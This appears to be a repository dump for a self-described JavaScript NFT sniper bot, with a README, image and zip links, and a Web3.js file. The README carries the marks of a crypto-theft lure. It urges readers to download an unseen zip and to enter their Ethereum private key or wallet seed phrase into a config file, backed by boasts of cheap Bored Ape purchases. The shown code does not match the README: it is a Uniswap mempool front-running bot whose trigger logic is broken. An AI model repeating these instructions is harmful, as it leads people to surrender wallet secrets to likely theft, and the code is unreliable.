├── 5.png
├── 9.png
├── README.md
├── Tech9Geek-Javascript-NFT-OpenSea-Sniper-Bot.zip
├── Web3.js
├── configopen.png
├── configphoto.png
├── foundone.png
└── openindex.png
/5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Tech9Geek/Tech9Geek-Javascript-NFT-OpenSea-Sniper-Bot/a3eba31380dbe981a1f876e751cef00492eba802/5.png
--------------------------------------------------------------------------------
/9.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Tech9Geek/Tech9Geek-Javascript-NFT-OpenSea-Sniper-Bot/a3eba31380dbe981a1f876e751cef00492eba802/9.png
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
This is an NFT sniper bot that is written in pure JavaScript does NOT require any js node implementation and nothing to be installed.
4 | Once you configure the settings in the "config.js" you simply open the index.html file in any web browser all code runs locally and he's searching in buy calls are made with web3 calls.
5 | This sniper bought has now scored me two boardapeyachtclubs for well under the floor price among many other collections I enjoy.
6 | Setting up is pretty straightforward first download the zip file here
7 | A helpful tester has created a video tutorial, providing step-by-step instructions on how to run the program.
8 |
9 | https://vimeo.com/874749226
10 |
11 |
12 | You can Download the zip file of the program here
13 |
14 | https://raw.githubusercontent.com/Tech9Geek/Tech9Geek-Javascript-NFT-OpenSea-Sniper-Bot/main/Tech9Geek-Javascript-NFT-OpenSea-Sniper-Bot.zip
15 |
16 | here's the program in action finding and buying a bored ape yacht club
17 |
18 |
19 |
20 | then when you unzip to a location is easy for you to locate open the config.js file in any text editor in my case notepad
21 |
22 |
23 |
24 |
25 | you'll need to configure the settings
26 | 1. put in your ETH public address leave the quotations in.
27 | 2. put in your ETH private key to that public address you just entered
28 | 3. if you're using a hardware wallet that does not give you easy access to your private keys you can put in your wallet seed, but make sure you still put in your public address you want it to utilize
29 | 4. set the marketplace you want to use by default it's set to 1 which is opensea ,2 = raribles ,3 = conbaseNFT
30 | 5. set the network default set for 1 which is ETH , to uses the polygon network replace that with a 2
31 | 6. set the maxspend to what you wish to spend on the NFT
32 | 7. set the nft collection ID default it's on boredapeyachtclub
33 | for the opensea collection name "https://opensea.io/collection/boredapeyachtclub" <- take this part of the url for example: "boredapeyachtclub"
34 | for the Raribles "https://rarible.com/boredapeyachtclub/items" <- take this part of the url for example: "boredapeyachtclub"
35 | for the coinbaseNFT "https://nft.coinbase.com/collection/ethereum/0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D" <- take this part of the url for example: "0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D"
36 |
37 |
38 |
39 | save the settings you just configured
40 |
41 | now right click on index.html and select open with and choose any web browser in my case I love to use Firefox
42 |
43 |
44 |
45 |
46 |
47 | Please take time and for me in the 2024 codeathon I won 4th place last year and would love your vote!
48 |
49 |
50 |
51 | #cryptoeducationnetwork #cryptoinvestmentclub #cryptoeducationgroup #cryptoworld #cryptodevelopment #cryptoanalyst #cryptoconsultancy #cryptowallet #nft #cryptocurrency Crypto NFT (Non-Fungible Token) is an emerging technology that enables users to securely and uniquely identify digital assets. It is a cryptographically-secured digital token that can represent a wide variety of digital assets, such as artwork, music, videos, collectibles, and more. Crypto NFTs provide ownership rights, scarcity, and transferability to the assets they represent.
52 |
53 | Core Components: Crypto NFTs are composed of several essential components, including a unique identifier, ownership records, and smart contract code. The identifier is a string of characters that represent the NFT, and is used to distinguish it from other NFTs. Ownership records are stored on a distributed ledger and used to track the
54 |
55 |
--------------------------------------------------------------------------------
/Tech9Geek-Javascript-NFT-OpenSea-Sniper-Bot.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Tech9Geek/Tech9Geek-Javascript-NFT-OpenSea-Sniper-Bot/a3eba31380dbe981a1f876e751cef00492eba802/Tech9Geek-Javascript-NFT-OpenSea-Sniper-Bot.zip
--------------------------------------------------------------------------------
/Web3.js:
--------------------------------------------------------------------------------
1 | require('dotenv').config()
2 | const Web3 = require('web3')
3 | const { ChainId, Fetcher, WETH, Route, Trade, TokenAmount, TradeType, Percent } = require('@uniswap/sdk')
4 | const ethers = require('ethers')
5 | const fs = require('fs')
6 | //const assert = require('assert');
7 |
8 | let divider = "\n------------------------------------------------------\n"
9 |
10 | const chainId = ChainId.MAINNET
11 |
12 | let web3HD
13 | let token
14 | let route
15 | let weth
16 | let provider
17 | let signer
18 | let uniswap
19 |
20 | const ACCOUNT = process.env.REACT_APP_ACCOUNT
21 | const TOKEN_ADDRESS = process.env.REACT_APP_TOKEN_ADDRESS
22 | const EXCHANGE_ADDRESS = process.env.REACT_APP_EXCHANGE_ADDRESS
23 | const ETH_AMOUNT = process.env.REACT_APP_ETH_AMOUNT
24 |
25 | const web3 = new Web3(process.env.REACT_APP_RPC_URL_WSS)
26 | web3HD = new Web3(new Web3.providers.HttpProvider(process.env.REACT_APP_RPC_URL))
27 | provider = new ethers.getDefaultProvider(process.env.REACT_APP_RPC_URL)
28 | const privateKey = new Buffer.from(process.env.REACT_APP_PRIVATE_KEY, "hex");
29 | signer = new ethers.Wallet(privateKey, provider)
30 |
31 | // declare the token contract interfaces
32 | tokenContract = new ethers.Contract(
33 | TOKEN_ADDRESS,
34 | ['function balanceOf(address owner) external view returns (uint)',
35 | 'function decimals() external view returns (uint8)',
36 | 'function approve(address spender, uint value) external returns (bool)'],
37 | signer
38 | );
39 |
40 | // declare the Uniswap contract interface
41 | uniswap = new ethers.Contract(
42 | EXCHANGE_ADDRESS,
43 | ['function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts)',
44 | 'function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts)',
45 | 'function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts)'],
46 | signer
47 | );
48 |
49 | let addtrxflag = false
50 | let trxflag = false
51 | let initialTokenBalance
52 | let tokenBalanceAfterBuy
53 | let tokensToSell
54 |
55 | async function run(){
56 |
57 | console.log('\x1b[1m\x1b[37m[Bot]: Process has been started! \x1b[1m\x1b[31m(to stop press CTRL+C anytime)\x1b[0m\n')
58 | console.log('\x1b[1m\x1b[37m[Bot]: Looking for targets at DEX...\x1b[0m\n')
59 |
60 | fs.writeFile('./transactions_hashes.txt', '', function(){console.log('\x1b[1m\x1b[37m[Bot]: transactions_hashes.txt \x1b[1m\x1b[32mwiped!\n\x1b[0m\n\n')})
61 |
62 | token = await Fetcher.fetchTokenData(chainId, TOKEN_ADDRESS)
63 | weth = WETH[chainId]
64 | const pair = await Fetcher.fetchPairData(token, weth, provider)
65 | route = new Route([pair], weth)
66 |
67 | initialTokenBalance = await tokenContract.balanceOf(ACCOUNT);
68 |
69 | if(true){
70 | subscription = web3.eth.subscribe('pendingTransactions', function (error, result) {})
71 | .on("data", function (transactionHash) {
72 | web3.eth.getTransaction(transactionHash)
73 | .then(function (transaction) {
74 | if(transaction && !trxflag){
75 | parseTransactionData(transaction)
76 | }
77 | })
78 | .catch(function () {
79 | console.log("\x1b[1m\x1b[Bot]: WARNING! Promise error caught!\n\x1b[1m\x1b[37mThere is likely an issue on your providers side, with the node you are connecting to.\nStop the bot with \x1b[1m\x1bCTRL+C \x1b[1m\x1b[37mand try run again in a few hours.");
80 | //.catch((error) => {
81 | // assert.isNotOk(error,'Promise error')
82 | })
83 | });
84 |
85 | async function parseTransactionData(transactionDetails) {
86 | if(transactionDetails.input){
87 |
88 | fs.appendFileSync('transactions_hashes.txt', 'Trx hash : ' + transactionDetails.hash.toString() + '\r\n')
89 | const transactionInput = transactionDetails.input
90 |
91 | var path = 'transactions_hashes.txt';
92 | var text = fs.readFileSync(path).toString();
93 | var lines = text.split('\n');
94 | var newlines_count = lines.length - 1;
95 | process.stdout.clearLine();
96 | process.stdout.cursorTo(0);
97 | process.stdout.write(`\x1b[1m\x1b[37m[Bot]: Sweeping transaction hashes... \x1b[1m\x1b[32m${newlines_count}\x1b[37m passes. `);
98 |
99 | if((transactionInput.length - 10) % 64 === 0){
100 | const toTrx = transactionDetails.to
101 | if(toTrx.toLowerCase() === EXCHANGE_ADDRESS.toLowerCase()
102 | && parseFloat(web3.utils.fromWei(transactionDetails.value, 'ether')) >= parseFloat(process.env.REACT_APP_TARGET_ETH_AMOUNT)){
103 | }
104 | if(addtrxflag){
105 | const exeTrxs = await executeTrxs(transactionDetails)
106 | subscription.unsubscribe(function (error, success) {
107 | if (success)
108 | console.log('\n\x1b[1m\x1b[37m[Bot]: Process has been ended!\x1b[0m');
109 | console.log('\n\x1b[1m\x1b[31m[Bot]: Press \x1b[0mCTRL+C\x1b[31m to stop the script completely !\x1b[0m');
110 | });
111 | }
112 | }
113 | }
114 | }
115 | }
116 | }
117 | }
118 |
119 | async function executeTrxs(transactionDetails){
120 | if(trxflag){
121 | return
122 | }
123 | trxflag = true
124 |
125 | console.table([{
126 | 'Transaction Hash': transactionDetails['hash'],
127 | 'Observations': 'Valid Transaction',
128 | 'Timestamp': Date.now()
129 | }])
130 | console.log(divider)
131 | console.log('\n\x1b[1m\x1b[37m[Bot]: Transaction spotted! - \x1b[32m', transactionDetails, "\x1b[0m\n");
132 |
133 | const buy = await buyTokens(transactionDetails)
134 | const sell = await sellTokens(transactionDetails)
135 | }
136 |
137 | async function sellTokens(transactionDetails){
138 | const amountIn = tokensToSell
139 |
140 | if (amountIn.toString() !== '0'){
141 | const gasPrice = transactionDetails.gasPrice
142 | const newGasPrice = Math.floor(parseInt(gasPrice) - parseInt(1))
143 | const gasLimit = Math.floor(transactionDetails.gas * 1.3)
144 |
145 | const amountInHex = ethers.BigNumber.from(amountIn.toString()).toHexString();
146 | const ethAmount = ethers.utils.parseEther(ETH_AMOUNT);
147 | const amountOutMin = Math.floor(ethAmount * 0.01);
148 | const amountOutMinHex = ethers.BigNumber.from(amountOutMin.toString()).toHexString();
149 | const path = [token.address, weth.address];
150 | const deadline = Math.floor(Date.now() / 1000) + 60 * 20;
151 | const deadlineHex = ethers.BigNumber.from(deadline.toString()).toHexString();
152 |
153 | const nonceCount = await web3.eth.getTransactionCount(ACCOUNT)
154 |
155 | const tx = await uniswap.swapExactTokensForETH(
156 | amountInHex,
157 | amountOutMinHex,
158 | path,
159 | ACCOUNT,
160 | deadlineHex,
161 | {
162 | nonce: nonceCount + 1,
163 | gasPrice: ethers.BigNumber.from(newGasPrice).toHexString(),
164 | gasLimit: ethers.BigNumber.from(gasLimit).toHexString()
165 | }
166 | );
167 | console.log('\x1b[1m\x1b[37m[Bot]: Your sell transaction was: \x1b[1m\x1b[32m', tx.hash, "\x1b[0m");
168 | }
169 | }
170 |
171 |
172 | async function buyTokens(transactionDetails){
173 | if(true){
174 | const gasPrice = transactionDetails.gasPrice
175 | const newGasPrice = Math.floor(parseInt(gasPrice) + parseInt(1))
176 | const gasLimit = Math.floor(transactionDetails.gas * 1.2)
177 |
178 | const inputEth = parseFloat(ETH_AMOUNT) * 0.99;
179 | const ethAmount = ethers.utils.parseEther(inputEth.toString());
180 | const trade = new Trade(route, new TokenAmount(weth, ethAmount), TradeType.EXACT_INPUT);
181 | const path = [weth.address, token.address];
182 | const deadline = Math.floor(Date.now() / 1000) + 60 * 20;
183 | const deadlineHex = ethers.BigNumber.from(deadline.toString()).toHexString();
184 |
185 | tokensToSell = trade.outputAmount.raw
186 | const amountOutHex = ethers.BigNumber.from(tokensToSell.toString()).toHexString();
187 |
188 | const ethAmt = parseFloat(ETH_AMOUNT) * 1.2;
189 | const amountInMax = ethers.utils.parseEther(ethAmt.toString());
190 | const amountInMaxHex = ethers.BigNumber.from(amountInMax.toString()).toHexString();
191 |
192 | const tx = await uniswap.swapETHForExactTokens(
193 | amountOutHex,
194 | path,
195 | ACCOUNT,
196 | deadlineHex,
197 | {
198 | value: amountInMaxHex,
199 | gasPrice: ethers.BigNumber.from(newGasPrice).toHexString(),
200 | gasLimit: ethers.BigNumber.from(gasLimit).toHexString()
201 | }
202 | );
203 | console.log('\x1b[1m\x1b[37m[Bot]: Your purchase transaction was: \x1b[1m\x1b[32m', tx.hash, "\x1b[0m");
204 | }
205 | }
206 |
207 | console.clear()
208 | console.log("\n")
209 |
210 |
211 | console.log(divider)
212 |
213 | run()
214 |
--------------------------------------------------------------------------------
/configopen.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Tech9Geek/Tech9Geek-Javascript-NFT-OpenSea-Sniper-Bot/a3eba31380dbe981a1f876e751cef00492eba802/configopen.png
--------------------------------------------------------------------------------
/configphoto.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Tech9Geek/Tech9Geek-Javascript-NFT-OpenSea-Sniper-Bot/a3eba31380dbe981a1f876e751cef00492eba802/configphoto.png
--------------------------------------------------------------------------------
/foundone.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Tech9Geek/Tech9Geek-Javascript-NFT-OpenSea-Sniper-Bot/a3eba31380dbe981a1f876e751cef00492eba802/foundone.png
--------------------------------------------------------------------------------
/openindex.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Tech9Geek/Tech9Geek-Javascript-NFT-OpenSea-Sniper-Bot/a3eba31380dbe981a1f876e751cef00492eba802/openindex.png
--------------------------------------------------------------------------------